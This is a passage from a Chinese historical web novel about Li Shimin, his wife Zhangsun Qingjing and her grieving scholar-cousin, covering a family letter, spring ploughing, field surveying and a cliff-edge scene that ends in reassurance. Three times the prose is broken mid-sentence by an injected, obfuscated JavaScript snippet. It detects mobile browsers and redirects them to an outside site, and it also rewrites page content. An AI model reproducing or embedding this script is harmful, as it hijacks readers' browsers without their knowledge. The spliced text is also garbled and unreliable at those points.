“你所说‘尽力找一本言辞粗浅的《御夫术》’之请简直匪夷所思。穆伯脩处倒确实有这么一册书。我那日为了你顶着他的奇怪眼神把书收入囊中。他善意问我:‘公子是有姊妹要成婚了吗?’我与大志、大慧、敏行、无碍等人饮酒之时,那书不慎从囊中滑落地上。两人哂笑不止,问我是否逆练《御夫术》以备未婚妻。我心中气恼,就说‘你们去问李世民啊,这是他令我代他寻找的!’众人笑得更加厉害。大志咋舌道:‘不料姨母平日里温柔娴雅,居然如此有手段,逼得丈夫如此寻找破解之法。’无碍双手合十道:‘长孙娘子此术成矣,善哉!——我说呢,下婿时女方人多势众就是好!’总之,你二人惧内与骄悍的令名算是在五陵恶少中间传开了,等回到大兴你们继续把自己描黑就是了……” 长孙青璟看到此处,深吸了一口气,咬了咬牙,那张得意的笑脸似乎活生生地浮现在眼前。她无奈地摇摇头,接着往下读。 “纸韵书没有,我把两脚活韵书给你们送过来了。自从舅父被贬官岭南,陆夫子法言过世后,敏行一直神思恍惚。他母亲也时常在我们母亲面前泣涕,唯恐他也抑郁成疾。我与大志他们便私下决定,敏行若有任何离奇的、有助于分散忧思的想法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352518|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们便鼎力助他了结心愿。敏行准备在洛阳住上一段时日,见见四方人士,校正雅言反切,正好散心。你可辟一隅之地给他暂住?如举家前往河东,记得给我写信。谨因往信,敢申起居。兄状。” 另附一行懒得重新誊抄进正文的小字:“李世民若是有什么离奇的举动,还是先告诉我一声。不要在意我的牢骚,我办事比别人稳妥。” “我好想你们啊。”长孙青璟喃喃自语,将信收好,嘱托阿彩将长孙敏行带来的所有卷轴书册一一存放到别业书房之中。 她重新回到蚕室,神情有些恍惚。她想念那个即使背负一身笑料也要满足姊妹任何无理蛮横要求的兄长,怀念外柔内刚、无时不关注女儿新家庭动向的母亲,想念与舅父此生不再相见却依旧对高氏一族不离不弃的舅母,想念待她如手足、一身肝胆义气的大志大慧,想念温文尔雅的穆伯脩和他包蕴宇宙的书铺,想念那个天空略微灰黄却被皇帝斥责为腐臭之地的大兴。 可她是洛阳人,一个以长安为故里的洛阳人。 竹架的毛刺扎伤了她的手指,在她出于混沌无知时,身边的少女吓得赶紧找丝绢为她包扎。 “不碍事,吹吹山风就好了。”长孙青璟不以为意地执起几根竹子继续赶制二月晒蚕连时将这些薄纸片固定在桑林中的蚕椸。 “娘子有心事?”为长孙青璟包扎的女孩子大胆地问道。 “是的。”长孙青璟答道,“方才收到兄长的来信。他花了好大力气找了一堆我想要赏玩的离奇珍宝。信上尽是抱怨。他越是埋怨我多事,越是将事情都替我办妥,我越是开心。唉,我想极了母亲和兄长。” 少女掩口道:“何不让郎君带娘子归省?” 这是个从出生起就未曾离开过乡里的普通女孩,她只知晓自己与心上人不过一村之隔,哪怕成婚后也不算远离父母,所以并不理解奔波游宦之苦。 “是啊,不知什么时候他才能送我归宁。”长孙青璟将一个新制的蚕椸举在面前,“我们是不是又比别人慢了?都怨我横生枝节——若村社中娘子们办醵饮,记得我出钱包酒食,你们只管出力吃喝。” 众娘子相视而笑,满面粲然。 75. 谐声 土膏微润,一望空阔。群山娟然如拭,青树挑展眉梢。一切都使人产生远离尘嚣的错觉。 李世民在第五次休息的间歇看到了在田垄间逡巡不前的故人。 他一时弄不清对方到底是吃惊还是不想打扰自己,是冷眼困惑还是理解赞许。 李世民一开始觉得自己一副农夫打扮去见好友有辱斯文,后来有觉得自己产生这种念头有辱朋友,所以决定就以这身短褐示人。 “敏行!长孙敏行!”他放下踏犁,毫无顾顾忌地、兴冲冲地跑向已经在田间闲游了许久的长安老友,他伸出手想拍打敏行的肩头,又尴尬地收回去在衣襟上擦了擦,“安和好在。” 长孙敏行就如在长安时一样云淡风轻,见怪不怪。他对于农事的兴趣明显高于那身不符合身份的短褐。 “好在,世民。你穿着短褐更加神采焕发了。”长孙敏行环顾四周道,“你知道我这次出潼关的过所办得多艰难吗?流民太多,朝廷忌惮,无忌都够不上长安县的担保人资格。我差点出不了大兴城。幸好无忌托付了他叔父长孙休明作保,我才得以来洛阳。——听说洛阳的上元夜蜃彩蛟辉、炫转荧煌,如璇霄丹阙,可惜我错过了。你和妹妹过得可开心?” “没有你想得那么好。”躬身叉手后,李世民笑道,“我觉得紫薇宫上空燃烧着泉台的火焰,你妹妹说朱雀街上方的天空在流脓,乘兴而去,败兴而归。我们看完灯轮就住到乡间了……” 长孙敏行想起一路所见流民、荒村,叹息一声道:“你和青璟的念头总是与常人有异……无忌也是。” “你也是。”李世民忍俊不禁,“要不然我们四个怎么能成为一家人?你和无忌如何忍受我和青璟写诗出律,处事出格?” 净因寺的钟声传来,哀悼着往生的灵魂,庆贺着一年的新生。长孙敏行在袅袅余音中沉默片刻后,微笑道:“难得你总有办法逗大家开心。你不觉得东都繁盛,反而看到泉台的火与脓,一定是我的同道中人……” 李世民颔首表示默认与默契。两人遥望净因寺,在若有若无,断断续续的晨诵之中,祈祷着无辜丧生的灵魂随着哀婉的、如泣如诉的诵经声到达彼岸。 长孙敏行只是一个出身寒微、与长孙兄妹早就出了五服的普通儒生。 难得高士廉、陆法言等人都觉得这孩子天赋异禀,析句辨调,不逊沈约四声之妙,索性令他登堂入室、促膝谈艺。 长孙兄妹便经常向长孙敏行请教些辞赋骈文新诗的声韵疑问,他总能一一为他们释疑更正。 高士廉时常觉得自己眼中的长孙敏行大概类似薛道衡、崔祖浚当年眼中年轻的自己,便乐见无忌与敏行以兄弟相称。 旁人也一直误会长孙敏行是长孙晟近支子侄。这三个孩子也达成默契,将错就错,从不加以解释。 “我受无忌之托,又借了大志的良驹,在官道上颠簸了四五天,给你和妹妹捎来一些奇怪的物什——什么各朝田令啊,御夫之书啊,简直令我大开眼界——我们在大兴时对这些古怪的东西有各种离奇的揣测……” “呃——我百口莫辩,不过它们各自都有用处。”李世民一时也找不到合适的字眼,总之越描越黑,索性不去说它。 “你见过青璟了吗?你父母身体安康吗?陆夫子好吗?”李世民急切地问道。 “我本想先看看青璟胖瘦,奴婢们告诉我主母在修整蚕器,我就跟阿彩说我一个男子便不去惊扰蚕神了,令她将信和书卷交给了妹妹。我父母很好。陆夫子过世了——就在去年腊月。” 李世民愣怔无语,想起去年忙着婚礼丧礼,确实没有刻意打听他的境况,惟记长孙敏行也参加了窦夫人的葬礼。 他充满愧疚地说道:“恕罪,节哀。是我眼拙,我本该看到你身上的缌麻。” “薛玄卿被赐死时他身体就不太好;高治礼郎被贬谪时他又硬要去送别,弄得身体每况愈下,终究没撑过冬天。夫子临终嘱托我把五卷本《切韵》校订注疏,总不能使刘臻、颜之推、卢思道、李若、萧该、辛德源、薛道衡、魏彦渊、陆爽这九位贤达遗意,湮没人世。魏澹当年提议陆夫子执笔记下他们言谈纲纪时,夫子也不过跟我们差不多年纪,未免粗疏遗漏。太子洗马一家后来又因追随房陵王而被除名,父子两代都郁郁而终。如今这五卷本在我手上,有些字的读音,需要重新校准,标注反切。我便先在河洛间接触各地士人,或者在乡野间寻找古音。”长孙敏行也清楚李世民不太明白陆法言与他师徒二人平日里究竟从事何种考据,但是处于对冥契真践者的敬意,他那发自肺腑的敬意使得他有足够的耐性听完这一番长篇大论。 “好,那你安心住在我的别业中——别管窗外是香的臭的,明的暗的。需要我派人护送你去洛阳城中吗?”李世民问道。 “不用。我这几日先安心校订字义,将《尔雅》《说文》《玉篇》多方比对,去伪存真。你这田庄附近可有口齿清晰的百岁儒生,我想去讨教一下当年的读书音。” “我果然对审音之学一窍不通,你现在说的话,将要做的事,我不是很明白。”李世民自嘲道,“无忌肯定觉得你这在乡野求音韵声谱的做法与我索书一样奇怪,所以把你送来陪我。” 长孙敏行下意识地抱紧了肩挎的皮囊褡裢:“你这别业有夹壁吗?” “有,你尽管藏书。我来安排。” “那就好。”长孙敏行初到邙北的苍白脸色经风吹拂后改观了不少,“你和无忌对我推心置腹,我也只能厚颜说一句‘大德不酬’了。” “哪里话?”李世民与他勾颈相语,携手而行,“我先带你拜见张夫子,你把陆夫子这书的情形讲给他听,他一定都懂……” “你现在写诗还总押些古怪的仄声韵吗?” “我改不了。”李世民边走边说,“你那么遵从沈休文的话作什么?他还笑你祖上是索虏呢?” “因为我祖确与索虏杂居,而四声八病也确是声律圭臬。陆夫子弥留之际对我说,平仄相济如乐行礼修,音律谐调犹政教张弛,治平之理尽在其中。我想沿着这条大道走下去……” “我不太明白。”李世民突然将热情的臂膀从长孙敏行肩头撤回,拍去短褐上的尘土,“不过既然是陆爽、薛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355683|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道衡还有时运不济的陆夫子坚守的道义,确实值得蹈履。” 迂阔执一的人多半带着点天真偏执,这份天真是李世民喜爱他们的地方。 长孙敏行望着近处田地中整齐的犁沟,台地上整齐的桑林,用李世民最熟悉不过的真诚语气说道:“不是,笔下的明了未必是真明了。而你是真懂得音律谐调的,青璟也懂——男不辍耕,女不废织,恰似平仄相济,阴阳不紊,国不失其序。只可惜最应该懂得这个道理的人只是在诗赋里卖弄……” “我说不过你这蠹鱼郎……”李世民一直想给自己亲负耒耜这事涂抹上一层大义的色彩,不禁厚颜说道,“你的话虽然说得我愧不敢当——不过,这话应该是夸我吧?多说几句也无妨!” 长孙敏行望着远处高低的山峦与台地,若有所思地说道:“你们的历山不会辜负你们……” 两人闲谈间,敲土块的孩子蓦地起身,跑上前牵住李世民的衣袖:“公子,不能再歇了。这一轮,你是扶犁还是牵牛?” 李世民回头问道:“你父亲准我学牵牛吗?” 孩子用力点点头:“公子可不准偷懒!我跟我兄长打赌说你和别人不一样,你一定熬得到播粟,谁输了就替对方拾一天柴。” “啊,那可是好大一筐柴呢!你可不能辜负小孩子。”长孙敏行完全明白了李世民为何会出现在畎亩之中负耒采风,他不吝啬赞美,“恤隐之志,令人敬佩。你可不能让小孩子失望……” 李世民高声招呼正手执步弓、绳尺测算田亩的庄吏前来接应长孙敏行。 他又向那紧跟不舍的、催促的孩童拱手道:“小田父,承你青眼。我定不负你。稍待一刻之半,我即同你回去。” 那孩子也不再多言,只是一本正经地在一旁等候,生怕李世民半道借口溜走。 李世民令庄吏暂停测田,安顿好妻舅。 他望着广阔的农田,鼻腔里尽是带着冰碴粗粝感的土腥味,灵机忽动,向准备带领长孙敏行暂离的庄吏道:“我不方便出面,就以你的名义办一场醵饮,把佃户家男女老少都请来。每户象征性地凑几文钱,其余算在我头上!” 说罢,他便拍拍在一旁审视自己的孩子道:“走。干活去。” “公子,你是说,请我们全家吃白食?”孩子疑惑不解地问道。 “你父母兄姊终日劳碌,哪有白食可吃。”李世民微笑着说,“你记得多吃点,吃不完的拿箪壶盛回家。” 台地深处,妇人、少女们阖上蚕室的门,叽叽喳喳地讨论着未来的收成,天气的阴晴,蚕种的好坏,对家人平安的期待。 大家绕过桑林,准备如往常一般看望自己的父亲兄弟、丈夫儿子。长孙青璟觉得农妇村姑们所求不多,无非是嘉禾盈畴,杼轴充羡,家给户赡,阖门欢忭。 至少没她贪心。 在晌午短暂的阳光下,僵缩的万物舒展了些许。伴着农夫们“嘿哟”的呼号声,大地松动了齿关,冻土深处的崩裂一路蔓延。虽然暖意转瞬即逝,然而被阳光垂怜过的沟壑与丛林里,已经暗暗埋下了种子萌动,春驹破茧的谶语。 76. 饷田 简单清理蚕室、修补三月所用工具后,诸位蚕娘便相携饷田,给劳作的父兄送去点心汤水,又各自约定日中后去田庄中的织机坊中织布纺线。 农夫们正晒着太阳,或闲聊,或假寐,或与妻儿分食胡饼。 犁沟中翻卷而出的龙鳞状的冻土在阳光下变得松软,整个冬天凝结的冰晶融解为甘泉,悄无声息的滋养着整片土地。 “今天天空有庆云,农夫还看到赤狸追捕田鼠,今岁一定有好收成。”李世民学着农夫的口气将丰收的吉兆讲给长孙青璟听。 “无忌来信了。”长孙青璟为他拭去整个额头的汗珠,“我开了一堆洛阳找不到的书单让他在大兴找,他嘲笑我干起了主簿幕僚的差使……” 李世民露出不易察觉的微笑:“他说得也不无道理——你若是男子,应该也是个爱闯荡的郎君。我总觉得你们兄妹两个中,你反倒更像你父亲,行事洒脱不拘小节;无忌大概像舅父一些——你的手指怎么裹着绢帛?受伤了?” 他下意识抬手抓住长孙青璟手腕想要查看一下伤势,刚触碰到白色袖缘又着急收回手指。 他望着自己因劳作而灰黄的指腹,窘迫地垂头,在胸口的摸索着汗巾,却不知一早收好的汗巾掉落在了哪一道犁沟中。他便只能将手掌摊开在衣襟两侧,无奈地笑着。 “没事,不过是同去的蚕娘觉得我娇贵些,定要替我包扎才安心。”长孙青璟索性扯下指尖的布帛,迎风张开五指,“其实我今早的活不重,清理蚕室,修补竹架而已。毕竟二月初也不好太惊扰蚕神。——看,伤口已经看不出来了。” 长孙青璟将方才被扎伤的手指大方地展示出来:“你见到敏行了吗?” “他心情不太好。”李世民比划着从庄吏手中取来的步弓,尝试着丈量一小段路程,“敏行和我说了一通音韵、礼乐、治国的道理。他大概觉得自己在对牛弹琴……” “怎么会?”长孙青璟随着李世民一起走动起来,几个农家孩子觉得新来的郎君与娘子的举止有趣,性子又和蔼,便学着他们的样子亦步亦趋跟在两人身后。 “陆法言去世了……”李世民叹了一口气。 “什么?无忌明明说陆夫子也是一路陪着舅父行至蓝田关才回大兴的!”长孙青璟不可置信地说道,“怎么可能说走就走。也许是你听错了?” 李世民蓦地收回步弓:“你好好回想无忌的信……” 长孙青璟低下头,太息道:“是我满脑子妄想,空口胡言了。我看过陆夫子的《切韵》序言,他的父亲太子洗马陆爽在那场审音家的酒宴上凭空消失了——在自己儿子的笔下消失得无影无踪。满纸语焉不详,满纸不甘愤懑……先帝对他们一家,未免过于刻薄……” “幸好张先生在庄上,我便安排他去见张先生。敏行今天的模样特别像一个人……”李世民语焉不详,似乎在踌躇着要不要说出这个积压在心底的名字。 庄吏已经护送长孙敏行到达张后胤住处,回来复命。 “郎君,娘子,一切安排妥当。我建议长孙郎君就在别业内小憩片刻,黄昏时派人接他参加醵饮。” 庄吏心中其实并非很清楚新主母究竟有几位兄弟,只听得李世民叮嘱他妥善照看妻舅,便半点不敢怠慢,甚至特意在长孙青璟面前邀功:“长孙郎君还开玩笑问李家的醵饮会需要他分摊多少文?他似乎闲不住,将每一个帝王陵的位置都摸得一清二楚,是准备凭吊吗?” 长孙青璟略微颔首致谢:“有劳先生,我这兄长是个蠹鱼郎,常有些惊人言论,先生便随他胡讲,不必理会。” 庄吏笑笑,便去准备测绳与规、矩。 李世民在一旁仔细聆听庄吏与长孙青璟的交谈,却并不插嘴打断他们,只是挟着几根木杆,转身回到方才劳作的那片田地,与休憩的农夫们简单寒暄几句,也许是“须臾再会”,也许是“我去去就回”之类的客套话。 长孙青璟此时戴着厚重的幂篱,远观李世民与农夫们攀谈,竟然没有感到任何不妥当,也无意遣人前去催促。 父亲长孙晟说过,每个人都有不同的风气韵度,哪怕是突厥人。他在突厥曾经多次仰仗结交的牧民死里逃生,这是终身难忘与受益的经历。不同的水土滋养出不同的妙灵隽魄,与一个人的身份的高低,财富的多寡并非完全匹配。这些灵犀隽趣一直存在着,只是鲜有人去发现。 乡间午后的风带着股暖意,那个形骸有衰,神明不亏的少年的脸庞倏忽间随着翻飞的冻土跳跃在长孙青璟的眼前。 她与李世民心照不宣:“你是说玄霸?” 李世民低头默认,有提起步弓、曲尺测算一块形状怪异的田亩。 几个孩子蹦蹦跳跳跟在他们身后,这次倒不是害怕这勋贵家的子弟遇难而退、临阵脱逃,而只是无聊地计算他一天之内究竟只需要休息多久,这世上有没有他不愿尝试的农活。晚一些回到家中也好与邻家孩子吹嘘自己遇到过无所不能的大人物。 长孙青璟与李世民一行人一齐走向一片箕田。李世民钉下木桩。几个孩子帮忙拉直了测绳。庄吏又用步弓各测了一遍踵边与舌边,以矩与测绳量出正从。 长孙青璟百无聊赖之下便从庄吏那里要来算筹。阿彩取下自己帔帛,折叠一番充作茵褥。长孙青璟跪坐与这一方茵褥之上,与席地而坐的庄吏一同以算筹计算平方步。 “二百二十四平方步。”两人的计算结果一致。 一行人又换了一块地,一边来回奔跑固定木桩和测绳,一边记录下这片更形状更古怪弧田的弦长,矢高。 这次长孙青璟与庄吏各自所得平方步不同。 “为何数值相差如此之大。”庄吏挠头,十分不甘,“我再算一次。” 趁着庄吏又摆布算筹的当口,李世民收起测绳,又与长孙青璟说及自己忧虑之事。 “敏行心中藏着太多的事,就好像……好像当年的玄霸。” “玄霸一直有气疾在身,无论自己如何小心,家人如何爱护……都是无可挽回的。”长孙青璟瞥了一眼算筹,她不太喜欢李世民这种武断的比照。 “玄霸原本不必去得那么早,那么痛苦。他看清了母亲的痛苦却无能为力,洞悉了朝政的荒谬又莫可奈何——他是满怀独醒之患去世的。”他们刻意回避了那些沉浸在春耕喜悦中、对新一年满怀期待的人,“我不该去涿郡的,我本可以多陪陪他。” 李世民在婚后第一次认真地回忆起过世的三弟捎往涿郡的每一封书信,开始了无尽的自责。 “如果他稍微痴傻一些,或者性子不那么敏感而是开朗些,也许就不需要承担这么多痛苦。兴许,现在还与我们一起在邙山小住,闲时正好与敏行一起审音作诗,其乐融融……” “娘子,是某算错了。”庄吏拱手道,“我错用了圆田术计算弧田。”他心中确是惊叹这位新来的年轻主母机敏过人,难眩以伪。 “我也只是因为出嫁前曾协助养父母理田殖产,学了些《九章》皮毛。今日不过在此班门弄斧,先生勿笑。” “先生,你暂且放下经界之事,马上找两个最得力的部曲看护我妻舅长孙郎君。”李世民突然觉得自己考虑不周,一时放下测地一事,满脸只是紧张,“叮嘱部曲们无论长孙郎君去何处,定要寸步不 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她又细细回想起长孙无忌的书信,对倚着木杆的李世民道:“无忌说,敏行只要呼吸吐纳一下洛阳乡野的空气,心胸敞开,自然就开解了……”长孙青璟始终认为长孙敏行是堪当大任的笃志之士,绝不会轻易抛下陆夫子的嘱托。 “谋事以峻,还是谨慎对待细微的征兆为妙。我们已经失去了三郎,不能再失去敏行了。” 远处,庄吏又折返回近处,嘱咐得力副手按之前计划将今年新增田地翔实测算完毕。“一定要多用算筹计算几次以免被长孙娘子怪罪。”庄吏避开阿彩,低声叮嘱几位副手。 计议妥当之后,他随着阿彩向别业走去,心中默念:丈田,挖渠、计划中的醵饮、愿意与田父协同耕作的国公次子,能够熟练计算田亩平方步的国公次媳以及她那个向野老们讨教学问又找夹壁藏书的奇怪兄长——每一个都够他琢磨许久,本来应付窦氏一人足以,而今却要应付三个性格迥异却精明古怪的年轻人,着实有些不易。 以庄吏丰富的人生阅历来判断,他都说不清这到底是李家的幸事还是麻烦。 “日昳之后,我同田父们将这亩地横向翻耕完毕。若有闲暇便查看一下水渠是否需要在三月时另行修补,日暮时刻便以庄吏的名义安排一场醵饮……”李世民觉得万事安排妥帖后,遥望着更远处越冬的麦田,将自己一天的日程告知妻子,然后问道,“你呢?” “我准备拜一位机娘为师。”长孙青璟望着齐整的,深浅纵横交错的犁沟,眼前闪过织机上细密的经线与柔韧的纬线,“一女必有一针一刀,一农必有一耒一耜。从此,你是穑人,我是织媛!” 她调皮地伸出手掌,像个凉棚般搭在远处并不高峻的群山与似乎触手可及的天空之间。 她深感手掌如鸟翼般在天地间翻飞的快乐:“你看,我手中一无所有却无所不有。” 在她天真地陈述自己快乐的时候,另一只手掌却追随着她手掌的方向一同戏舞,调皮地如同镜中幻影。 十指拼凑出一头完整的翱翔于山顶与苍穹之间的雄鹰。 幂篱的深色纱帷鬼黠地扑打着李世民被风吹皴的脸颊。 “风日正好,你想听我发个誓吗?你想让我承诺些什么我都答应。”李世民收回手,望着山头的浮云问道。 长孙青璟的脸有些发烫,所幸在幂篱的遮盖下谁都看不清楚。“大丈夫重诺,怎么可以轻易盟誓?你此刻不妨把话憋回去,留待日后再说。” “好好好。我的娘子要我做一个重诺不轻誓的人,我答应便是。”他开玩笑似的承诺道。 慧黠的风掀起幂篱的一角,擦过长孙青璟唇边狡狯的微笑。 天空湛蓝,其光可扪。 77. 鹡鸰 妇人们饷田完毕,便告别父兄、丈夫,簇拥着被深色幂篱所遮蔽的长孙青璟前往织锦坊。 众人路过一处台地时,听到了寺院的石磬声。为首的机娘愣怔了一会儿,双手合十,落在前行序列的末端。 长孙青璟不解,便有热心妇人向她解释道:“蒙先夫人垂怜,张氏的一个夭折的儿子被允许葬在这寺庙附近。” “每次路过这里,做母亲的一定很伤心吧。”长孙青璟尽量用尚浅的阅历去共情拥有几个孩子的母亲,小心翼翼地问道。 当事人张五娘听到了长孙青璟怜悯的言辞,平静地上前回答道:“会伤心,但是也解脱了。我们这种人家的孩子,是没资格生病的,光是拖着他东奔西跑,爷娘就耗尽了心力……如今,做父母的心痛之余也卸去了累赘,有更多时间照看活着的人。偶尔经过寺院,也会念及他未病时的可爱模样。其他时间,忘了也就忘了吧……” 这就是命苦的母亲关于夭折孩子的所有记忆了。 长孙青璟第一次听人如此波澜不惊地谈及艰难的生存、喜忧参半的死亡、平民切身的苦楚,大为震惊,只觉得那是一个与自己截然不同的世界。 她低下头,用沉默来表示理解——她没有资格评判这位母亲,正如她没有资格评判河东的流民为什么不再沿路乞讨多撑几日而选择了自缢、投井。 她甚至有些敬佩直到临终那一刻依旧选择与儿女不离不弃的父母,敬佩那个宁可夜闯含嘉仓搅得洛阳城天翻地覆也不就此认命成为皇帝震古烁今大业中一个数字的窃贼。 进入织锦坊后,张五娘屏退了诸外男。其余机娘也停下手中机杼,见过新主母。李家庄园的织锦坊人员比较混杂,有逃亡隐匿在此的男女织匠,有佃户与受李家庇护的主户家中手巧的妻女,有临时从洛阳城高价雇佣的功母。 唯一一致的是众人都对新来的年轻主母充满了好奇心。 张五娘与几个掌管织染的巧妇开始与长孙青璟谈及贡赋出产,时兴纹样。长孙青璟笑着令她为自己准备一部普通织机,一些丝麻毛线,另选一名熟练的机娘每日教导自己织一些简单的绢绫褐布。 门外传来了一阵吵嚷声。蝈娘突然拨开人群,将一辆络丝车撞得摇摇欲坠,只对纺线的娘子说了声“恕罪”,便挤到一架被围得水泄不通的提花织机前。 “娘子,长孙娘子,别业中有些异常……”蝈娘焦急地向长孙青璟使着眼色。 长孙青璟会意,便向操作织机的功母致歉,与蝈娘一同回避众人。 “娘子,都怪奴婢照顾不周。长孙郎君一时不知去了何处。”少女真切地感受到了小主母这位兄长的精神恍惚,对他的不告而别有着不祥的预感。 长孙青璟问道:“部曲呢?你一个弱女子,怎么可能拦得住执意出行的郎君。再说,哪怕我兄长纵马不辞而别,此处人生地疏,部曲也能找到他,你不必忧虑。” 蝈娘偷窥了一眼同样好奇地望着她们主仆二人的众娘子,窘迫地问道:“娘子,我找附近农人打听了一下,长孙郎君约莫往凤凰山方向而去,部曲已经纵马追逐。此事需要告知二郎吗?” 毕竟事关长孙娘子,蝈娘害怕扫她颜面,便先行告知这位看重自己的新主母,是否告知郎君便全凭她主张。 “不必。你也不要在其余人面前大惊小怪。我自行去寻找我兄长即可。唤人备马。”长孙青璟面带微笑向诸位机娘行叉手礼道,“诸位娘子,纺纱织造,实为不易。今日金乌西坠,百工罢作之后,且来别业之前醵饮,只需带上数文酒钱,箪壶器皿及家中行动方便的长者与孩童……我庄中还有要事,与诸位暂别,酉初罢作之时再行相见!” 在众人的拊掌欢呼中,长孙青璟匆匆离开织锦坊,策马前往凤凰山。 长孙青璟虽说对长孙敏行因陆法言过世而抑郁成疾乃至有轻生念头一事将信将疑。 但长孙无忌的陈述,李世民的担忧乃至蝈娘的焦躁甚至阿彩含泪地双眸都真切地存在于她面前,而她自己,又鬼使神差地成了五人中唯一一个最近未能与长孙敏行面晤之人。 种种蛛丝马迹,令她不禁担忧起来。 她鞭马疾驰,将保护她的奴婢甩在身后。 照夜姬越过返青的苜蓿,腾起枯黄的碎草。 一只落单的机警的鹡鸰被銮铃声惊扰,不再摇动它细长的尾巴,而是应和着急促的马蹄声疾翔躲进竹丛之中。 犹如一颗石子落入池塘荡开一片涟漪,一群觅食的麻雀又因鹡鸰的突访骇跃而起。 行至凤凰山山麓之处时,长孙青璟看到三匹眼熟的马,长鬃随风轻扬,或闲逛,或吃草,或嬉戏。 她有些疲倦地从坐骑照夜姬的背上翻身而下,猜测着两名部曲已经进山寻找长孙敏行,心中有些懊恼自己今日一身准备踏青的绮罗长裙装扮,简直是又造作又碍事。 一阵刺耳的鸣叫与扑剌声中,鹡鸰翻翔,刺眼的阳光掠过长孙青璟的眼角。 “鹡鸰在山中迷路了?它在寻找河滩吗?”长孙青璟好奇地想着,望着自己累赘的裙摆,吐出一口气,也没有耐性等待与部曲奴婢们汇合,便将裙角提高,向凤凰山顶而行。所幸这副丑态也无人窥得。 她到现在依旧不相信长孙敏行会因为恩师的病故而寻短见,倒是越发担心他因知音寥落而陷于愤懑之中不可自拔,终将郁结成疾,积愤损年。 凤凰山并不高,对于长孙青璟这种常年穿梭在终南山间,善骑射、蹴鞠的少女来将,攀援至山顶算不得力竭。 然而长孙敏行在悬崖边逡巡不前,右手握紧了悬挂于蹀躞带上的配刀,脚尖反复将一块碎石踢出又勾回的举止却令她异常害怕——她的灵心妙悟枯竭了。 “兄长。”她尝试着轻声叫唤着。 背对着长孙青璟的长孙敏行双肩瑟缩了一下,僵直地站在悬崖边。 “阿兄。”长孙青璟缓缓的靠近长孙敏行,“你还记得,在长安时,你我一起嘲笑过李世民的诗赋写得造作。你还承诺会替我斧正每一首新诗……你怎么不见我一面又要跑去游山玩水?若是少了你的点评校正,李世民岂不是反过来压我一头?” 长孙敏行没有理睬她,只是垂下头。握紧刀鞘的手松开了,右脚扬起。 长孙青璟惊恐万状,在闭眼和惊叫之间选择扑上前去拽人。却听见一块石子砉然离磴的磕碰声,石子在巉岩松枝之间碌碌滚转,如珠落玉盘。 两只被惊扰的鹡鸰振翮高翔,长鸣清越透云。为首的那只黑白翎羽开合,一飞冲天,带着另一只似乎是失群的鹡鸰穿越山峦,直冲河谷。 长孙敏行收回了双脚,不再将自己置于死生之地。 他顺手格挡住企图拉拽自己的妹妹。 “长孙娘子,安和好在。”他回过头,等待长孙青璟站定,微笑着说道。 长孙青璟惝恍未定,怫然不豫道:“我百骸皆不适,一点也不好。兄长一定要与我这样见外吗?我一出嫁,便不是妹妹了吗?” “娘子现在是国公的儿媳,不再是治礼郎的养女。我出生低微,恩师又处嫌隙之地,实在不知以何面目见你……生怕被人嘲笑僭越……” “这是什么话?”长孙青璟语中带霜,“若李家人待兄长不以礼,便是对我无礼,我定不善罢甘休。” “妹妹。”长孙敏行转过身,彻底退回到远离悬崖之处,“一切都是我妄言,妹妹不要放在心上。我此行也不是妹妹所说的不告而别,只是想在北邙的最高处看一看长陵。魏高祖孝文皇帝带着我们这群代北人重回中原故土,重拾河洛雅言正语,才有了陆夫子的《切韵》。我既已到了北邙,岂有不来凭吊之理?” ——谢天谢地!长孙敏行终于不是先前那副灯油将尽,芯火飘摇的枯槁模样。长孙青璟默念道。 既然他已自开自解,又恢复了兄妹相称的习惯,长孙青璟也由着他信口胡诌,把之前自己亲眼所见的绝望当做幻觉,任它随风而逝。 “长陵在那头!”长孙青璟认真地将目之所极之处若隐若现的封土指给长孙敏行看,“你可得说话算话——就在洛阳乡间住上一段时日,不准再四处乱跑了。” 长孙敏行莞尔而哂:“我听你的,听无忌的,听大家的,不会再不辞而别了——这是金石之诺,我不会违背。” 长孙青璟会心一笑:“兄长,我带你下山,我们一同去河滩看成群的鹡鸰。” “好!”长孙敏行拊髀应和,有一种幽而复明的通透与快慰,“妹妹,吾志决矣。哪怕衔胆栖冰,也定不负陆夫子嘱托,完成《切韵》注疏。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382042|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“对了,我昨晚做了个梦,太史籀让你去给周天子守燎……”长孙青璟煞有介事地说道,“真的,刚做完梦就把你盼来洛阳了。” “你真会安慰人。”长孙敏行仰天抚掌,笑音琅琅振林樾,“好,我就当真了!既不辜负陆夫子,更不能辜负托梦给你的太史籀。” 